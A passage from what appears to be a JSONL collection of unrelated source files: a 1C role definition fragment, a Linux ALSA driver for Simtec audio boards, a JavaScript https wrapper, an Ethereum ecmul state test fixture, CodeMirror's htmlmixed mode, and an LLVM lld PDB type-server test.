xmlns:win=\"http://v8.1c.ru/8.1/data/ui/colors/windows\" xmlns:xen=\"http://v8.1c.ru/8.3/xcf/enums\" xmlns:xpr=\"http://v8.1c.ru/8.3/xcf/predef\" xmlns:xr=\"http://v8.1c.ru/8.3/xcf/readable\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n\t<Role uuid=\"336cfdb1-cab1-4b40-bc08-e39b999ec65e\">\r\n\t\t<Properties>\r\n\t\t\t<Name>Админ</Name>\r\n\t\t\t<Synonym>\r\n\t\t\t\t<v8:item>\r\n\t\t\t\t\t<v8:lang>ru</v8:lang>\r\n\t\t\t\t\t<v8:content>Админ</v8:content>\r\n\t\t\t\t</v8:item>\r\n\t\t\t</Synonym>\r\n\t\t\t<Comment/>\r\n\t\t</Properties>\r\n\t</Role>\r\n</MetaDataObject>"} {"text": "// SPDX-License-Identifier: GPL-2.0\n//\n// Copyright 2009 Simtec Electronics\n\n#include <linux/gpio.h>\n#include <linux/clk.h>\n#include <linux/module.h>\n\n#include <sound/soc.h>\n\n#include <linux/platform_data/asoc-s3c24xx_simtec.h>\n\n#include \"s3c24xx-i2s.h\"\n#include \"s3c24xx_simtec.h\"\n\nstatic struct s3c24xx_audio_simtec_pdata *pdata;\nstatic struct clk *xtal_clk;\n\nstatic int spk_gain;\nstatic int spk_unmute;\n\n/**\n * speaker_gain_get - read the speaker gain setting.\n * @kcontrol: The control for the speaker gain.\n * @ucontrol: The value that needs to be updated.\n *\n * Read the value for the AMP gain control.\n */\nstatic int speaker_gain_get(struct snd_kcontrol *kcontrol,\n\t\t\t struct snd_ctl_elem_value *ucontrol)\n{\n\tucontrol->value.integer.value[0] = spk_gain;\n\treturn 0;\n}\n\n/**\n * speaker_gain_set - set the value of the speaker amp gain\n * @value: The value to write.\n */\nstatic void speaker_gain_set(int value)\n{\n\tgpio_set_value_cansleep(pdata->amp_gain[0], value & 1);\n\tgpio_set_value_cansleep(pdata->amp_gain[1], value >> 1);\n}\n\n/**\n * speaker_gain_put - set the speaker gain setting.\n * @kcontrol: The control for the speaker gain.\n * @ucontrol: The value that needs to be set.\n *\n * Set the value of the speaker gain from the specified\n * @ucontrol setting.\n *\n * Note, if the speaker amp is muted, then we do not set a gain value\n * as at-least one of the ICs that is fitted will try and power up even\n * if the main control is set to off.\n */\nstatic int speaker_gain_put(struct snd_kcontrol *kcontrol,\n\t\t\t struct snd_ctl_elem_value *ucontrol)\n{\n\tint value = ucontrol->value.integer.value[0];\n\n\tspk_gain = value;\n\n\tif (!spk_unmute)\n\t\tspeaker_gain_set(value);\n\n\treturn 0;\n}\n\nstatic const struct snd_kcontrol_new amp_gain_controls[] = {\n\tSOC_SINGLE_EXT(\"Speaker Gain\", 0, 0, 3, 0,\n\t\t speaker_gain_get, speaker_gain_put),\n};\n\n/**\n * spk_unmute_state - set the unmute state of the speaker\n * @to: zero to unmute, non-zero to ununmute.\n */\nstatic void spk_unmute_state(int to)\n{\n\tpr_debug(\"%s: to=%d\\n\", __func__, to);\n\n\tspk_unmute = to;\n\tgpio_set_value(pdata->amp_gpio, to);\n\n\t/* if we're umuting, also re-set the gain */\n\tif (to && pdata->amp_gain[0] > 0)\n\t\tspeaker_gain_set(spk_gain);\n}\n\n/**\n * speaker_unmute_get - read the speaker unmute setting.\n * @kcontrol: The control for the speaker gain.\n * @ucontrol: The value that needs to be updated.\n *\n * Read the value for the AMP gain control.\n */\nstatic int speaker_unmute_get(struct snd_kcontrol *kcontrol,\n\t\t\t struct snd_ctl_elem_value *ucontrol)\n{\n\tucontrol->value.integer.value[0] = spk_unmute;\n\treturn 0;\n}\n\n/**\n * speaker_unmute_put - set the speaker unmute setting.\n * @kcontrol: The control for the speaker gain.\n * @ucontrol: The value that needs to be set.\n *\n * Set the value of the speaker gain from the specified\n * @ucontrol setting.\n */\nstatic int speaker_unmute_put(struct snd_kcontrol *kcontrol,\n\t\t\t struct snd_ctl_elem_value *ucontrol)\n{\n\tspk_unmute_state(ucontrol->value.integer.value[0]);\n\treturn 0;\n}\n\n/* This is added as a manual control as the speaker amps create clicks\n * when their power state is changed, which are far more noticeable than\n * anything produced by the CODEC itself.\n */\nstatic const struct snd_kcontrol_new amp_unmute_controls[] = {\n\tSOC_SINGLE_EXT(\"Speaker Switch\", 0, 0, 1, 0,\n\t\t speaker_unmute_get, speaker_unmute_put),\n};\n\nvoid simtec_audio_init(struct snd_soc_pcm_runtime *rtd)\n{\n\tstruct snd_soc_card *card = rtd->card;\n\n\tif (pdata->amp_gpio > 0) {\n\t\tpr_debug(\"%s: adding amp routes\\n\", __func__);\n\n\t\tsnd_soc_add_card_controls(card, amp_unmute_controls,\n\t\t\t\t ARRAY_SIZE(amp_unmute_controls));\n\t}\n\n\tif (pdata->amp_gain[0] > 0) {\n\t\tpr_debug(\"%s: adding amp controls\\n\", __func__);\n\t\tsnd_soc_add_card_controls(card, amp_gain_controls,\n\t\t\t\t ARRAY_SIZE(amp_gain_controls));\n\t}\n}\nEXPORT_SYMBOL_GPL(simtec_audio_init);\n\n#define CODEC_CLOCK 12000000\n\n/**\n * simtec_hw_params - update hardware parameters\n * @substream: The audio substream instance.\n * @params: The parameters requested.\n *\n * Update the codec data routing and configuration settings\n * from the supplied data.\n */\nstatic int simtec_hw_params(struct snd_pcm_substream *substream,\n\t\t\t struct snd_pcm_hw_params *params)\n{\n\tstruct snd_soc_pcm_runtime *rtd = asoc_substream_to_rtd(substream);\n\tstruct snd_soc_dai *codec_dai = asoc_rtd_to_codec(rtd, 0);\n\tstruct snd_soc_dai *cpu_dai = asoc_rtd_to_cpu(rtd, 0);\n\tint ret;\n\n\tret = snd_soc_dai_set_sysclk(codec_dai, 0,\n\t\t\t\t CODEC_CLOCK, SND_SOC_CLOCK_IN);\n\tif (ret) {\n\t\tpr_err( \"%s: failed setting codec sysclk\\n\", __func__);\n\t\treturn ret;\n\t}\n\n\tif (pdata->use_mpllin) {\n\t\tret = snd_soc_dai_set_sysclk(cpu_dai, S3C24XX_CLKSRC_MPLL,\n\t\t\t\t\t 0, SND_SOC_CLOCK_OUT);\n\n\t\tif (ret) {\n\t\t\tpr_err(\"%s: failed to set MPLLin as clksrc\\n\",\n\t\t\t __func__);\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tif (pdata->output_cdclk) {\n\t\tint cdclk_scale;\n\n\t\tcdclk_scale = clk_get_rate(xtal_clk) / CODEC_CLOCK;\n\t\tcdclk_scale--;\n\n\t\tret = snd_soc_dai_set_clkdiv(cpu_dai, S3C24XX_DIV_PRESCALER,\n\t\t\t\t\t cdclk_scale);\n\t}\n\n\treturn 0;\n}\n\nstatic int simtec_call_startup(struct s3c24xx_audio_simtec_pdata *pd)\n{\n\t/* call any board supplied startup code, this currently only\n\t * covers the bast/vr1000 which have a CPLD in the way of the\n\t * LRCLK */\n\tif (pd->startup)\n\t\tpd->startup();\n\n\treturn 0;\n}\n\nstatic const struct snd_soc_ops simtec_snd_ops = {\n\t.hw_params\t= simtec_hw_params,\n};\n\n/**\n * attach_gpio_amp - get and configure the necessary gpios\n * @dev: The device we're probing.\n * @pd: The platform data supplied by the board.\n *\n * If there is a GPIO based amplifier attached to the board, claim\n * the necessary GPIO lines for it, and set default values.\n */\nstatic int attach_gpio_amp(struct device *dev,\n\t\t\t struct s3c24xx_audio_simtec_pdata *pd)\n{\n\tint ret;\n\n\t/* attach gpio amp gain (if any) */\n\tif (pdata->amp_gain[0] > 0) {\n\t\tret = gpio_request(pd->amp_gain[0], \"gpio-amp-gain0\");\n\t\tif (ret) {\n\t\t\tdev_err(dev, \"cannot get amp gpio gain0\\n\");\n\t\t\treturn ret;\n\t\t}\n\n\t\tret = gpio_request(pd->amp_gain[1], \"gpio-amp-gain1\");\n\t\tif (ret) {\n\t\t\tdev_err(dev, \"cannot get amp gpio gain1\\n\");\n\t\t\tgpio_free(pdata->amp_gain[0]);\n\t\t\treturn ret;\n\t\t}\n\n\t\tgpio_direction_output(pd->amp_gain[0], 0);\n\t\tgpio_direction_output(pd->amp_gain[1], 0);\n\t}\n\n\t/* note, currently we assume GPA0 isn't valid amp */\n\tif (pdata->amp_gpio > 0) {\n\t\tret = gpio_request(pd->amp_gpio, \"gpio-amp\");\n\t\tif (ret) {\n\t\t\tdev_err(dev, \"cannot get amp gpio %d (%d)\\n\",\n\t\t\t\tpd->amp_gpio, ret);\n\t\t\tgoto err_amp;\n\t\t}\n\n\t\t/* set the amp off at startup */\n\t\tspk_unmute_state(0);\n\t}\n\n\treturn 0;\n\nerr_amp:\n\tif (pd->amp_gain[0] > 0) {\n\t\tgpio_free(pd->amp_gain[0]);\n\t\tgpio_free(pd->amp_gain[1]);\n\t}\n\n\treturn ret;\n}\n\nstatic void detach_gpio_amp(struct s3c24xx_audio_simtec_pdata *pd)\n{\n\tif (pd->amp_gain[0] > 0) {\n\t\tgpio_free(pd->amp_gain[0]);\n\t\tgpio_free(pd->amp_gain[1]);\n\t}\n\n\tif (pd->amp_gpio > 0)\n\t\tgpio_free(pd->amp_gpio);\n}\n\n#ifdef CONFIG_PM\nstatic int simtec_audio_resume(struct device *dev)\n{\n\tsimtec_call_startup(pdata);\n\treturn 0;\n}\n\nconst struct dev_pm_ops simtec_audio_pmops = {\n\t.resume\t= simtec_audio_resume,\n};\nEXPORT_SYMBOL_GPL(simtec_audio_pmops);\n#endif\n\nint simtec_audio_core_probe(struct platform_device *pdev,\n\t\t\t struct snd_soc_card *card)\n{\n\tstruct platform_device *snd_dev;\n\tint ret;\n\n\tcard->dai_link->ops = &simtec_snd_ops;\n\tcard->dai_link->dai_fmt = SND_SOC_DAIFMT_I2S | SND_SOC_DAIFMT_NB_NF |\n\t\t\t\t SND_SOC_DAIFMT_CBM_CFM;\n\n\tpdata = pdev->dev.platform_data;\n\tif (!pdata) {\n\t\tdev_err(&pdev->dev, \"no platform data supplied\\n\");\n\t\treturn -EINVAL;\n\t}\n\n\tsimtec_call_startup(pdata);\n\n\txtal_clk = clk_get(&pdev->dev, \"xtal\");\n\tif (IS_ERR(xtal_clk)) {\n\t\tdev_err(&pdev->dev, \"could not get clkout0\\n\");\n\t\treturn -EINVAL;\n\t}\n\n\tdev_info(&pdev->dev, \"xtal rate is %ld\\n\", clk_get_rate(xtal_clk));\n\n\tret = attach_gpio_amp(&pdev->dev, pdata);\n\tif (ret)\n\t\tgoto err_clk;\n\n\tsnd_dev = platform_device_alloc(\"soc-audio\", -1);\n\tif (!snd_dev) {\n\t\tdev_err(&pdev->dev, \"failed to alloc soc-audio devicec\\n\");\n\t\tret = -ENOMEM;\n\t\tgoto err_gpio;\n\t}\n\n\tplatform_set_drvdata(snd_dev, card);\n\n\tret = platform_device_add(snd_dev);\n\tif (ret) {\n\t\tdev_err(&pdev->dev, \"failed to add soc-audio dev\\n\");\n\t\tgoto err_pdev;\n\t}\n\n\tplatform_set_drvdata(pdev, snd_dev);\n\treturn 0;\n\nerr_pdev:\n\tplatform_device_put(snd_dev);\n\nerr_gpio:\n\tdetach_gpio_amp(pdata);\n\nerr_clk:\n\tclk_put(xtal_clk);\n\treturn ret;\n}\nEXPORT_SYMBOL_GPL(simtec_audio_core_probe);\n\nint simtec_audio_remove(struct platform_device *pdev)\n{\n\tstruct platform_device *snd_dev = platform_get_drvdata(pdev);\n\n\tplatform_device_unregister(snd_dev);\n\n\tdetach_gpio_amp(pdata);\n\tclk_put(xtal_clk);\n\treturn 0;\n}\nEXPORT_SYMBOL_GPL(simtec_audio_remove);\n\nMODULE_AUTHOR(\"Ben Dooks <ben@simtec.co.uk>\");\nMODULE_DESCRIPTION(\"ALSA SoC Simtec Audio common support\");\nMODULE_LICENSE(\"GPL\");\n"} {"text": "var http = require('http')\nvar url = require('url')\n\nvar https = module.exports\n\nfor (var key in http) {\n if (http.hasOwnProperty(key)) https[key] = http[key]\n}\n\nhttps.request = function (params, cb) {\n params = validateParams(params)\n return http.request.call(this, params, cb)\n}\n\nhttps.get = function (params, cb) {\n params = validateParams(params)\n return http.get.call(this, params, cb)\n}\n\nfunction validateParams (params) {\n if (typeof params === 'string') {\n params = url.parse(params)\n }\n if (!params.protocol) {\n params.protocol = 'https:'\n }\n if (params.protocol !== 'https:') {\n throw new Error('Protocol \"' + params.protocol + '\" not supported. Expected \"https:\"')\n }\n return params\n}\n"} {"text": "{\n \"ecmul_0-3_0_21000_80\" : {\n \"_info\" : {\n \"comment\" : \"\",\n \"filledwith\" : \"testeth 1.6.0-alpha.0-11+commit.978e68d2\",\n \"lllcversion\" : \"Version: 0.5.0-develop.2018.11.9+commit.9709dfe0.Linux.g++\",\n \"source\" : \"src/GeneralStateTestsFiller/stZeroKnowledge2/ecmul_0-3_0_21000_80Filler.json\",\n \"sourceHash\" : \"ef3bc8f00edc6fa3623a06fd494dcedaa7284af83d17bfafe2beb41759d71e5f\"\n },\n \"env\" : {\n \"currentCoinbase\" : \"0x3535353535353535353535353535353535353535\",\n \"currentDifficulty\" : \"0x020000\",\n \"currentGasLimit\" : \"0x5f5e100\",\n \"currentNumber\" : \"0x01\",\n \"currentTimestamp\" : \"0x03e8\",\n \"previousHash\" : \"0xc6745cf3cada515bbfb9573261c82547e0b8f9e3d5dd382e464704a84e47b5ad\"\n },\n \"post\" : {\n \"Byzantium\" : [\n {\n \"hash\" : \"0x990ed373f0e99b02ff066b466a484e99c5036cf56da3ec6ad28586833fdaae0f\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0xe0a5ff2a662ec2739259ba36445c91e1c1321f4690b3346dfe5cf0103c77eaa2\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 1,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0x053d587bb6d786cd09c94b25d62d397b0385f01d2eec0638360171f80bbf4ec9\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 2,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0xa284d55c995653b9fd8765716a2ef39299a8299b7b4b522654227aa46cb342cc\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 3,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"Constantinople\" : [\n {\n \"hash\" : \"0x990ed373f0e99b02ff066b466a484e99c5036cf56da3ec6ad28586833fdaae0f\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0xe0a5ff2a662ec2739259ba36445c91e1c1321f4690b3346dfe5cf0103c77eaa2\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 1,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0x053d587bb6d786cd09c94b25d62d397b0385f01d2eec0638360171f80bbf4ec9\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 2,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0xa284d55c995653b9fd8765716a2ef39299a8299b7b4b522654227aa46cb342cc\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 3,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"ConstantinopleFix\" : [\n {\n \"hash\" : \"0x990ed373f0e99b02ff066b466a484e99c5036cf56da3ec6ad28586833fdaae0f\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0xe0a5ff2a662ec2739259ba36445c91e1c1321f4690b3346dfe5cf0103c77eaa2\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 1,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0x053d587bb6d786cd09c94b25d62d397b0385f01d2eec0638360171f80bbf4ec9\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 2,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n },\n {\n \"hash\" : \"0xa284d55c995653b9fd8765716a2ef39299a8299b7b4b522654227aa46cb342cc\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 3,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ]\n },\n \"pre\" : {\n \"0x0000000000000000000000000000000000000000\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000001\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000002\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000003\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000004\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000005\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000006\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x0000000000000000000000000000000000000007\" : {\n \"balance\" : \"0x01\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x10a1c1cb95c92ec31d3f22c66eef1d9f3f258c6b\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x13cbb8d99c6c4e0f2728c7d72606e78a29c4e224\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x24143873e0e0815fdcbcffdbe09c979cbf9ad013\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x3535353535353535353535353535353535353535\" : {\n \"balance\" : \"0x100e0e\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x598443f1880ef585b21f1d7585bd0577402861e5\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x77db2bebba79db42a978f896968f4afce746ea1f\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x7d577a597b2742b498cb5cf0c26cdcd726d39e6e\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0x82a978b3f5962a5b0957d9ee9eef472ee55b42f1\" : {\n \"balance\" : \"0x0de0b6b3a753f1f2\",\n \"code\" : \"\",\n \"nonce\" : \"0x16\",\n \"storage\" : {\n }\n },\n \"0x90f0b1ebbba1c1936aff7aaf20a7878ff9e04b6c\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0xc305c901078781c232a2a521c2af7980f8385ee9\" : {\n \"balance\" : \"0x00\",\n \"code\" : \"0x600035601c52740100000000000000000000000000000000000000006020526fffffffffffffffffffffffffffffffff6040527fffffffffffffffffffffffffffffffff000000000000000000000000000000016060527402540be3fffffffffffffffffffffffffdabf41c006080527ffffffffffffffffffffffffdabf41c00000000000000000000000002540be40060a0526330c8d1da600051141561012b5760c06004356004013511151558576004356004013560200160043560040161014037604061026061014051610160600060076305f5e0fff11558576040610240526102406060806102c0828460006004601bf15050506102c08051602082012090506000556102c060206020820352604081510160206001820306601f820103905060208203f350005b\",\n \"nonce\" : \"0x01\",\n \"storage\" : {\n }\n },\n \"0xdceceaf3fc5c0a63d195d69b1a90011b7b19650d\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0xe0fc04fa2d34a66b779fd5cee748268032a146c0\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n }\n },\n \"transaction\" : {\n \"data\" : [\n \"0x30c8d1da00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000\"\n ],\n \"gasLimit\" : [\n \"0xa860\",\n \"0x015f90\",\n \"0x01adb0\",\n \"0x030d40\"\n ],\n \"gasPrice\" : \"0x1\",\n \"nonce\" : \"0x16\",\n \"secretKey\" : \"0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d\",\n \"to\" : \"0xc305c901078781c232a2a521c2af7980f8385ee9\",\n \"value\" : [\n \"0x\"\n ]\n }\n }\n}\n"} {"text": "(function(mod) {\n if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n mod(require(\"../../lib/codemirror\"), require(\"../xml/xml\"), require(\"../javascript/javascript\"), require(\"../css/css\"));\n else if (typeof define == \"function\" && define.amd) // AMD\n define([\"../../lib/codemirror\", \"../xml/xml\", \"../javascript/javascript\", \"../css/css\"], mod);\n else // Plain browser env\n mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nCodeMirror.defineMode(\"htmlmixed\", function(config, parserConfig) {\n var htmlMode = CodeMirror.getMode(config, {name: \"xml\",\n htmlMode: true,\n multilineTagIndentFactor: parserConfig.multilineTagIndentFactor,\n multilineTagIndentPastTag: parserConfig.multilineTagIndentPastTag});\n var cssMode = CodeMirror.getMode(config, \"css\");\n\n var scriptTypes = [], scriptTypesConf = parserConfig && parserConfig.scriptTypes;\n scriptTypes.push({matches: /^(?:text|application)\\/(?:x-)?(?:java|ecma)script$|^$/i,\n mode: CodeMirror.getMode(config, \"javascript\")});\n if (scriptTypesConf) for (var i = 0; i < scriptTypesConf.length; ++i) {\n var conf = scriptTypesConf[i];\n scriptTypes.push({matches: conf.matches, mode: conf.mode && CodeMirror.getMode(config, conf.mode)});\n }\n scriptTypes.push({matches: /./,\n mode: CodeMirror.getMode(config, \"text/plain\")});\n\n function html(stream, state) {\n var tagName = state.htmlState.tagName;\n var style = htmlMode.token(stream, state.htmlState);\n if (tagName == \"script\" && /\\btag\\b/.test(style) && stream.current() == \">\") {\n // Script block: mode to change to depends on type attribute\n var scriptType = stream.string.slice(Math.max(0, stream.pos - 100), stream.pos).match(/\\btype\\s*=\\s*(\"[^\"]+\"|'[^']+'|\\S+)[^<]*$/i);\n scriptType = scriptType ? scriptType[1] : \"\";\n if (scriptType && /[\\\"\\']/.test(scriptType.charAt(0))) scriptType = scriptType.slice(1, scriptType.length - 1);\n for (var i = 0; i < scriptTypes.length; ++i) {\n var tp = scriptTypes[i];\n if (typeof tp.matches == \"string\" ? scriptType == tp.matches : tp.matches.test(scriptType)) {\n if (tp.mode) {\n state.token = script;\n state.localMode = tp.mode;\n state.localState = tp.mode.startState && tp.mode.startState(htmlMode.indent(state.htmlState, \"\"));\n }\n break;\n }\n }\n } else if (tagName == \"style\" && /\\btag\\b/.test(style) && stream.current() == \">\") {\n state.token = css;\n state.localMode = cssMode;\n state.localState = cssMode.startState(htmlMode.indent(state.htmlState, \"\"));\n }\n return style;\n }\n function maybeBackup(stream, pat, style) {\n var cur = stream.current();\n var close = cur.search(pat), m;\n if (close > -1) stream.backUp(cur.length - close);\n else if (m = cur.match(/<\\/?$/)) {\n stream.backUp(cur.length);\n if (!stream.match(pat, false)) stream.match(cur);\n }\n return style;\n }\n function script(stream, state) {\n if (stream.match(/^<\\/\\s*script\\s*>/i, false)) {\n state.token = html;\n state.localState = state.localMode = null;\n return html(stream, state);\n }\n return maybeBackup(stream, /<\\/\\s*script\\s*>/,\n state.localMode.token(stream, state.localState));\n }\n function css(stream, state) {\n if (stream.match(/^<\\/\\s*style\\s*>/i, false)) {\n state.token = html;\n state.localState = state.localMode = null;\n return html(stream, state);\n }\n return maybeBackup(stream, /<\\/\\s*style\\s*>/,\n cssMode.token(stream, state.localState));\n }\n\n return {\n startState: function() {\n var state = htmlMode.startState();\n return {token: html, localMode: null, localState: null, htmlState: state};\n },\n\n copyState: function(state) {\n if (state.localState)\n var local = CodeMirror.copyState(state.localMode, state.localState);\n return {token: state.token, localMode: state.localMode, localState: local,\n htmlState: CodeMirror.copyState(htmlMode, state.htmlState)};\n },\n\n token: function(stream, state) {\n return state.token(stream, state);\n },\n\n indent: function(state, textAfter) {\n if (!state.localMode || /^\\s*<\\//.test(textAfter))\n return htmlMode.indent(state.htmlState, textAfter);\n else if (state.localMode.indent)\n return state.localMode.indent(state.localState, textAfter);\n else\n return CodeMirror.Pass;\n },\n\n innerMode: function(state) {\n return {state: state.localState || state.htmlState, mode: state.localMode || htmlMode};\n }\n };\n}, \"xml\", \"javascript\", \"css\");\n\nCodeMirror.defineMIME(\"text/html\", \"htmlmixed\");\n\n});\n"} {"text": "\n# Test linking an OBJ with a reference to an out-of-date PDB type server\n# RUN: cd %S/Inputs\n# RUN: yaml2obj %s -o %t.obj\n# RUN: lld-link %t.obj -out:%t.exe -debug -pdb:%t.pdb -nodefaultlib -entry:main 2>&1 | FileCheck %s\n# RUN: cd %S\n\n# CHECK: warning: Cannot use debug info for '{{.*}}.obj'\n# CHECK-NEXT: The signature does not match; the file(s) might be out of date\n\n# Also test linking an OBJ with a reference to *valid* PDB type server\n# RUN: cd %S/Inputs\n# RUN: yaml2obj %S/Inputs/pdb-type-server-valid-signature.yaml -o %t2.obj\n# RUN: lld-link %t2.obj -out:%t2.exe -debug -pdb:%t2.pdb -nodefaultlib -entry:main 2>&1 | FileCheck %s -check-prefix=VALID-SIGNATURE -allow-empty\n# RUN: cd %S\n\n# VALID-SIGNATURE-NOT: warning: Cannot use debug info for '{{.*}}.obj'\n# VALID-SIGNATURE-NOT: The signature does not match; the file(s) might be out of date\n\n# Test an invalid path reference to a PDB type server; as a fallback LLD should try to load the PDB in the same path as the OBJ\n# RUN: yaml2obj %S/Inputs/pdb-type-server-invalid-path.yaml -o %t3.obj\n# RUN: cp %S/Inputs/pdb-diff-cl.pdb %T\n# RUN: lld-link %t3.obj -out:%t3.exe -debug -pdb:%t3.pdb -nodefaultlib -entry:main 2>&1 | FileCheck %s -check-prefix=INVALID-PATH -allow-empty\n\n# INVALID-PATH-NOT: warning: Cannot use debug info for '{{.*}}3.obj' [LNK4099]\r\n# INVALID-PATH-NOT: failed to load reference 'c:\\some_invalid_path_AABB98765\\pdb-diff-cl.pdb': {{[Nn]}}o such file or directory\r\n\n--- !COFF\nheader:\n Machine: IMAGE_FILE_MACHINE_AMD64\n Characteristics: [ ]\nsections:\n - Name: '.debug$S'\n Characteristics: [ IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ ]\n Alignment: 1\n Subsections:\n - !Symbols\n Records:\n - Kind: S_GPROC32_ID\n ProcSym:\n CodeSize: 3\n DbgStart: 0\n DbgEnd: 2\n FunctionType: 4199\n Flags: [ ]\n DisplayName: main\n - Kind: S_FRAMEPROC\n FrameProcSym:\n TotalFrameBytes: 0\n PaddingFrameBytes: 0\n OffsetToPadding: 0\n BytesOfCalleeSavedRegisters: 0\n OffsetOfExceptionHandler: 0\n SectionIdOfExceptionHandler: 0\n Flags: [ AsynchronousExceptionHandling, OptimizedForSpeed ]\n - Kind: S_PROC_ID_END\n ScopeEndSym:\n - !Lines\n CodeSize: 3\n Flags: [ ]\n RelocOffset: 0\n RelocSegment: 0\n Blocks:\n - FileName: 'c:\\src\\llvm-project\\build\\t.c'\n Lines:\n - Offset: 0\n LineStart: 1\n IsStatement: true\n EndDelta: 0\n Columns:\n - !FileChecksums\n Checksums:\n - FileName: 'c:\\src\\llvm-project\\build\\t.c'\n Kind: MD5\n Checksum: 270A878DCC1B845655B162F56C4F5020\n - !StringTable\n Strings:\n - 'c:\\src\\llvm-project\\build\\t.c'\n Relocations:\n - VirtualAddress: 44\n SymbolName: main\n 